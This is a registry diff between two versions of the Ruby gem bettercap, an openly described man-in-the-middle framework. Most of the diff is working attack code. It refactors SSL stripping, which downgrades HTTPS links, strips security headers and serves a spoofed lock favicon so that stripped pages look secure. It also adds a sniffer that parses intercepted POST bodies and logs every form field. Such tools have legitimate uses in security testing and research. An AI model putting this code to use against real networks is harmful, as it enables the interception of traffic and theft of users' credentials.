bettercap 1.3.0 → 1.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 6670a29441233971065df36cbeb7acba16762072
4
- data.tar.gz: cc8daa2e7840ddc71b3d5925d114be71b219aba9
3
+ metadata.gz: f9801e0373d15f52908660dc7aed084d8f91950d
4
+ data.tar.gz: 50b9f0bc24a28b4b3c7529e5d5fbd65cc96f12c4
5
5
  SHA512:
6
- metadata.gz: 4a280f7c72b0ae33f3d82614657c927c1d24f11fb828df64e954f60021ed7a87c623ec939dc8715f542510d5268f2413325627d38e56a0c5831774aa90e95931
7
- data.tar.gz: 5cb2e4adada12bcb02a70b73a07477063423bc0ed9a96ec510de132a00b904152839a2cc8682f6c47b221425880c89d22874a4937c215ee06347b920047178fd
6
+ metadata.gz: d9c118a677a01f88be5ca3e064e32852912f97a9e8487bd820defc650a73d684d4a78c433e9a7f2bc56d13716c08c4a1eb776d1242ee34910783b3beb00de981
7
+ data.tar.gz: 59d4054d3ddda701f44967074ac6042d6bbbcbd72306cd9808c6069ebec613e3d43c0d93b98d0b43a437770215ecb20ec19357b920191054455bdc33ab13578f
@@ -71,11 +71,10 @@ begin
71
71
  rescue SystemExit, Interrupt
72
72
  BetterCap::Logger.raw "\n"
73
73
 
74
- rescue OptionParser::InvalidOption => e
75
- BetterCap::Logger.error e.message
76
-
77
- rescue OptionParser::AmbiguousOption => e
78
- BetterCap::Logger.error e.message
74
+ rescue OptionParser::InvalidOption,
75
+ OptionParser::AmbiguousOption,
76
+ OptionParser::MissingArgument => e
77
+ BetterCap::Logger.error "'#{e.message.capitalize}', verify your command line arguments executing 'bettercap --help'."
79
78
 
80
79
  rescue BetterCap::Error => e
81
80
  BetterCap::Logger.error e.message
@@ -20,6 +20,7 @@ require 'optparse'
20
20
  require 'colorize'
21
21
  require 'packetfu'
22
22
  require 'ipaddr'
23
+ require 'uri'
23
24
 
24
25
  Object.send :remove_const, :Config rescue nil
25
26
  Config = RbConfig
@@ -144,7 +144,11 @@ class Context
144
144
  original = response
145
145
 
146
146
  begin
147
- mod.on_request request, response
147
+ if response.nil?
148
+ mod.on_pre_request request
149
+ else
150
+ mod.on_request request, response
151
+ end
148
152
  rescue Exception => e
149
153
  Logger.warn "Error with proxy module: #{e.message}"
150
154
  response = original
@@ -16,27 +16,32 @@ module BetterCap
16
16
  module Firewalls
17
17
  # Linux firewall class.
18
18
  class Linux < Base
19
+
20
+ IPV4_PATH = "/proc/sys/net/ipv4"
21
+ IP_FORWARD_PATH = IPV4_PATH + "/ip_forward"
22
+ ICMP_BCAST_PATH = IPV4_PATH + "/icmp_echo_ignore_broadcasts"
23
+ SEND_REDIRECTS_PATH = IPV4_PATH + "/conf/all/send_redirects"
19
24
  # If +enabled+ is true will enable packet forwarding, otherwise it will
20
25
  # disable it.
21
26
  def enable_forwarding(enabled)
22
- Shell.execute("echo #{enabled ? 1 : 0} > /proc/sys/net/ipv4/ip_forward")
27
+ File.open(IP_FORWARD_PATH) { |f| f.puts "#{enabled ? 1 : 0}" }
23
28
  end
24
29
 
25
30
  # Return true if packet forwarding is currently enabled, otherwise false.
26
31
  def forwarding_enabled?
27
- Shell.execute('cat /proc/sys/net/ipv4/ip_forward').strip == '1'
32
+ File.open(IP_FORWARD_PATH) { |f| f.read.strip == '1' }
28
33
  end
29
34
 
30
35
  # If +enabled+ is true will enable packet icmp_echo_ignore_broadcasts, otherwise it will
31
36
  # disable it.
32
37
  def enable_icmp_bcast(enabled)
33
- Shell.execute("echo #{enabled ? 0 : 1} > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts")
38
+ File.open(ICMP_BCAST_PATH) { |f| f.puts "#{enabled ? 1 : 0}" }
34
39
  end
35
40
 
36
41
  # If +enabled+ is true will enable send_redirects, otherwise it will
37
42
  # disable it.
38
43
  def enable_send_redirects(enabled)
39
- Shell.execute("echo #{enabled ? 0 : 1} > /proc/sys/net/ipv4/conf/all/send_redirects")
44
+ File.open(SEND_REDIRECTS_PATH) { |f| f.puts "#{enabled ? 1 : 0}" }
40
45
  end
41
46
 
42
47
  # Apply the +r+ BetterCap::Firewalls::Redirection port redirection object.
@@ -520,8 +520,8 @@ class Options
520
520
 
521
521
  # Print the starting status message.
522
522
  def starting_message
523
- on = ''.green
524
- off = ''.red
523
+ on = 'on'.green
524
+ off = 'off'.red
525
525
  status = {
526
526
  'spoofing' => if has_spoofer? then on else off end,
527
527
  'discovery' => if !target.nil? or arpcache then off else on end,
@@ -18,6 +18,9 @@ class Module
18
18
  @@path = File.dirname(__FILE__) + '/modules/'
19
19
  @@modules = []
20
20
 
21
+ def on_pre_request( request ); end
22
+ def on_request( request, response ); end
23
+
21
24
  # Return a list of available builtin proxy module names.
22
25
  def self.available
23
26
  avail = []
@@ -133,7 +133,7 @@ class Proxy
133
133
  rescue Exception => e
134
134
  if request.host
135
135
  Logger.warn "Error while serving #{request.host}#{request.url}: #{e.inspect}"
136
- Logger.debug e.backtrace.join("\n")
136
+ Logger.warn e.backtrace.join("\n")
137
137
  end
138
138
  end
139
139
 
@@ -29,7 +29,7 @@ class Request
29
29
  # Content length.
30
30
  attr_reader :content_length
31
31
  # Request body.
32
- attr_reader :body
32
+ attr_accessor :body
33
33
  # Client address.
34
34
  attr_accessor :client
35
35
  # Client port.
@@ -72,6 +72,20 @@ class Request
72
72
  end
73
73
  end
74
74
 
75
+ # Return a Request object from a +raw+ string.
76
+ def self.parse(raw)
77
+ req = Request.new
78
+ lines = raw.split("\n")
79
+ lines.each_with_index do |line,i|
80
+ req << line
81
+ if line.chomp == ''
82
+ req.body = lines[i + 1..lines.size].join("\n")
83
+ break
84
+ end
85
+ end
86
+ req
87
+ end
88
+
75
89
  # Parse a single request line, patch it if needed and append it to #lines.
76
90
  def <<(line)
77
91
  line = line.chomp
@@ -128,6 +142,7 @@ class Request
128
142
  @lines.join("\n") + "\n" + ( @body || '' )
129
143
  end
130
144
 
145
+ # Return the full request URL trimming it at +max_length+ characters.
131
146
  def to_url(max_length = 50)
132
147
  schema = if port == 443 then 'https' else 'http' end
133
148
  url = "#{schema}://#{@host}#{@url}"
@@ -141,14 +156,27 @@ class Request
141
156
  end
142
157
 
143
158
  # If the header with +name+ is found, then a +value+ is assigned to it.
159
+ # If +value+ is null and the header is found, it will be removed.
144
160
  def []=(name, value)
161
+ found = false
145
162
  @lines.each_with_index do |line,i|
146
163
  if line =~ /^#{name}:\s*.+$/i
147
- @headers[name] = value
148
- @lines[i] = "#{name}: #{value}"
164
+ found = true
165
+ if value.nil?
166
+ @headers.delete(name)
167
+ @lines.delete_at(i)
168
+ else
169
+ @headers[name] = value
170
+ @lines[i] = "#{name}: #{value}"
171
+ end
149
172
  break
150
173
  end
151
174
  end
175
+
176
+ if !found and !value.nil?
177
+ @headers[name] = value
178
+ @lines << "#{name}: #{value}"
179
+ end
152
180
  end
153
181
  end
154
182
  end
@@ -31,6 +31,22 @@ class Response
31
31
  # Response body.
32
32
  attr_accessor :body
33
33
 
34
+ # Return a 200 response object reading the file +filename+ with the specified
35
+ # +content_type+.
36
+ def self.from_file( filename, content_type )
37
+ r = Response.new
38
+ data = File.read(filename)
39
+
40
+ r << "HTTP/1.1 200 OK"
41
+ r << "Connection: close"
42
+ r << "Content-Length: #{data.bytesize}"
43
+ r << "Content-Type: #{content_type}"
44
+ r << "\n"
45
+ r << data
46
+
47
+ r
48
+ end
49
+
34
50
  # Initialize this response object state.
35
51
  def initialize
36
52
  @content_type = nil
@@ -19,41 +19,99 @@ class Strip
19
19
  # Maximum number of redirects to detect a HTTPS redirect loop.
20
20
  MAX_REDIRECTS = 3
21
21
  # Regular expression used to parse HTTPS urls.
22
- HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
22
+ HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
23
23
 
24
24
  # Create an instance of this object.
25
25
  def initialize
26
26
  @urls = URLMonitor.new
27
27
  @cookies = CookieMonitor.new
28
+ @favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
28
29
  end
29
30
 
30
31
  # Check if the +request+ is a result of a stripped link/redirect and handle
31
32
  # cookies cleaning.
32
33
  # Return a response object or nil if the request must be performed.
33
34
  def preprocess( request )
35
+ process_headers!(request)
36
+ response = process_cookies!(request)
37
+ if response.nil?
38
+ process_stripped!(request)
39
+ response = spoof_favicon!(request)
40
+ end
41
+ response
42
+ end
43
+
44
+ # Process the +request+ and if it's a redirect to a HTTPS url patch the
45
+ # Location header and retry.
46
+ # Process the +response+ and replace every https link in its body with
47
+ # http counterparts.
48
+ def process( request, response )
49
+ # check for a redirect
50
+ if process_redirection!( request, response )
51
+ # retry the request
52
+ return true
53
+ end
54
+
55
+ process_body!( request, response )
56
+
57
+ # do not retry the request.
58
+ false
59
+ end
60
+
61
+ private
62
+
63
+ # Clean some headers from +request+.
64
+ def process_headers!(request)
65
+ request['Accept-Encoding'] = nil
66
+ request['If-None-Match'] = nil
67
+ request['If-Modified-Since'] = nil
68
+ request['Upgrade-Insecure-Requests'] = nil
69
+ request['Pragma'] = 'no-cache'
70
+ end
71
+
72
+ # If +request+ has unknown session cookies, create a client redirection
73
+ # to make them expire.
74
+ def process_cookies!(request)
75
+ response = nil
34
76
  # check for cookies.
35
77
  unless @cookies.is_clean?(request)
36
78
  Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
37
79
  expired = @cookies.get_expired_headers!(request)
38
80
 
39
- return build_expired_cookies( expired, request )
81
+ response = build_expired_cookies( expired, request )
40
82
  end
83
+ response
84
+ end
41
85
 
86
+ # If the +request+ is a result of a sslstripping operation,
87
+ # proxy it via SSL.
88
+ def process_stripped!(request)
42
89
  # check for stripped urls.
43
90
  link = @urls.normalize( request.host )
44
91
  if request.port == 80 and @urls.was_stripped?( request.client, link )
45
92
  Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{link}', proxying via SSL."
46
93
  request.port = 443
47
94
  end
95
+ end
48
96
 
97
+ # If +request+ is the favicon of a stripped host, send our spoofed lock icon.
98
+ def spoof_favicon!(request)
99
+ link = @urls.normalize( request.host )
100
+ if @urls.was_stripped?( request.client, link ) and is_favicon?(request)
101
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending spoofed favicon '#{request.to_url }'."
102
+ return @favicon
103
+ end
49
104
  nil
50
105
  end
51
106
 
52
- # Process the +request+ and if it's a redirect to a HTTPS url patch the
53
- # Location header and retry.
54
- # Process the +response+ and replace every https link in its body with
55
- # http counterparts.
56
- def process( request, response )
107
+ # Return true if +request+ is a favicon request.
108
+ def is_favicon?(request)
109
+ ( request.url.include?('.ico') or request.url.include?('favicon') )
110
+ end
111
+
112
+ # If the +response+ is a redirect to a HTTPS location, patch the +response+ and
113
+ # retry the +request+ via SSL.
114
+ def process_redirection!(request,response)
57
115
  # check for a redirect
58
116
  if response['Location'].start_with?('https://')
59
117
  link = @urls.normalize( response['Location'] )
@@ -68,17 +126,24 @@ class Strip
68
126
  # retry the request if possible
69
127
  return true
70
128
  end
129
+ false
130
+ end
71
131
 
132
+ # Process the +response+ body and strip out every HTTPS link.
133
+ def process_body!(request, response)
72
134
  # parse body
73
135
  links = []
74
- response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
75
- if link[0].include?('.')
76
- link = @urls.normalize( link[0] )
77
- downgraded = @urls.downgrade( link )
78
-
79
- links << [link, downgraded]
136
+ begin
137
+ response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
138
+ if link[0].include?('.')
139
+ link = @urls.normalize( link[0] )
140
+ downgraded = @urls.downgrade( link )
141
+
142
+ links << [link, downgraded]
143
+ end
80
144
  end
81
- end
145
+ # handle errors due to binary content
146
+ rescue; end
82
147
 
83
148
  unless links.empty?
84
149
  Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
@@ -89,13 +154,10 @@ class Strip
89
154
  response.body.gsub!( link, downgraded )
90
155
  end
91
156
  end
92
-
93
- # do not retry the request.
94
- false
95
157
  end
96
158
 
97
- private
98
-
159
+ # Return a 302 Redirect BetterCap::Proxy::Response object for the
160
+ # +request+, using +expired+ cookie headers to kill a client session.
99
161
  def build_expired_cookies( expired, request )
100
162
  resp = Response.new
101
163
 
@@ -47,6 +47,9 @@ class Streamer
47
47
  end
48
48
 
49
49
  if r.nil?
50
+ # call modules on_pre_request
51
+ @processor.call( request, nil )
52
+
50
53
  self.send( "do_#{request.verb}", request, response )
51
54
  else
52
55
  response = r
@@ -70,6 +73,7 @@ class Streamer
70
73
  end
71
74
  end
72
75
 
76
+ # call modules on_request
73
77
  @processor.call( request, response )
74
78
 
75
79
  client.write response.to_s
@@ -19,7 +19,25 @@ class Post < Base
19
19
  def on_packet( pkt )
20
20
  s = pkt.to_s
21
21
  if s =~ /POST\s+[^\s]+\s+HTTP.+/
22
- StreamLogger.log_raw( pkt, "POST\n", pkt.payload )
22
+ begin
23
+ req = BetterCap::Proxy::Request.parse(pkt.payload)
24
+ # the packet could be incomplete
25
+ unless req.body.nil? or req.body.empty?
26
+ msg = "\n[#{'HEADERS'.green}]\n\n"
27
+ req.headers.each do |name,value|
28
+ msg << " #{name.blue} : #{value.yellow}\n"
29
+ end
30
+ msg << "\n[#{'BODY'.green}]\n\n"
31
+
32
+ req.body.split('&').each do |v|
33
+ name, value = v.split('=')
34
+ msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
35
+ end
36
+
37
+ StreamLogger.log_raw( pkt, "POST", req.to_url(1000) )
38
+ Logger.raw "#{msg}\n"
39
+ end
40
+ rescue; end
23
41
  end
24
42
  end
25
43
  end
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
  module BetterCap
13
13
  # Current version of bettercap.
14
- VERSION = '1.3.0'
14
+ VERSION = '1.3.1'
15
15
  # Program banner.
16
16
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
17
17
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.3.0
4
+ version: 1.3.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-01-24 00:00:00.000000000 Z
11
+ date: 2016-01-26 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -29,6 +29,9 @@ dependencies:
29
29
  requirement: !ruby/object:Gem::Requirement
30
30
  requirements:
31
31
  - - "~>"
32
+ - !ruby/object:Gem::Version
33
+ version: '1.1'
34
+ - - ">="
32
35
  - !ruby/object:Gem::Version
33
36
  version: 1.1.10
34
37
  type: :runtime
@@ -36,6 +39,9 @@ dependencies:
36
39
  version_requirements: !ruby/object:Gem::Requirement
37
40
  requirements:
38
41
  - - "~>"
42
+ - !ruby/object:Gem::Version
43
+ version: '1.1'
44
+ - - ">="
39
45
  - !ruby/object:Gem::Version
40
46
  version: 1.1.10
41
47
  - !ruby/object:Gem::Dependency
@@ -80,7 +86,9 @@ dependencies:
80
86
  - - "~>"
81
87
  - !ruby/object:Gem::Version
82
88
  version: 0.8.0
83
- description: A complete, modular, portable and easily extensible MITM framework.
89
+ description: BetterCap is the state of the art, modular, portable and easily extensible
90
+ MITM framework featuring ARP and ICMP spoofing, sslstripping, credentials harvesting
91
+ and more.
84
92
  email: evilsocket@gmail.com
85
93
  executables:
86
94
  - bettercap
@@ -126,6 +134,7 @@ files:
126
134
  - lib/bettercap/proxy/request.rb
127
135
  - lib/bettercap/proxy/response.rb
128
136
  - lib/bettercap/proxy/sslstrip/cookiemonitor.rb
137
+ - lib/bettercap/proxy/sslstrip/lock.ico
129
138
  - lib/bettercap/proxy/sslstrip/strip.rb
130
139
  - lib/bettercap/proxy/sslstrip/urlmonitor.rb
131
140
  - lib/bettercap/proxy/stream_logger.rb
@@ -152,7 +161,7 @@ files:
152
161
  - lib/bettercap/version.rb
153
162
  homepage: http://github.com/evilsocket/bettercap
154
163
  licenses:
155
- - GPL3
164
+ - GPL-3.0
156
165
  metadata: {}
157
166
  post_install_message:
158
167
  rdoc_options: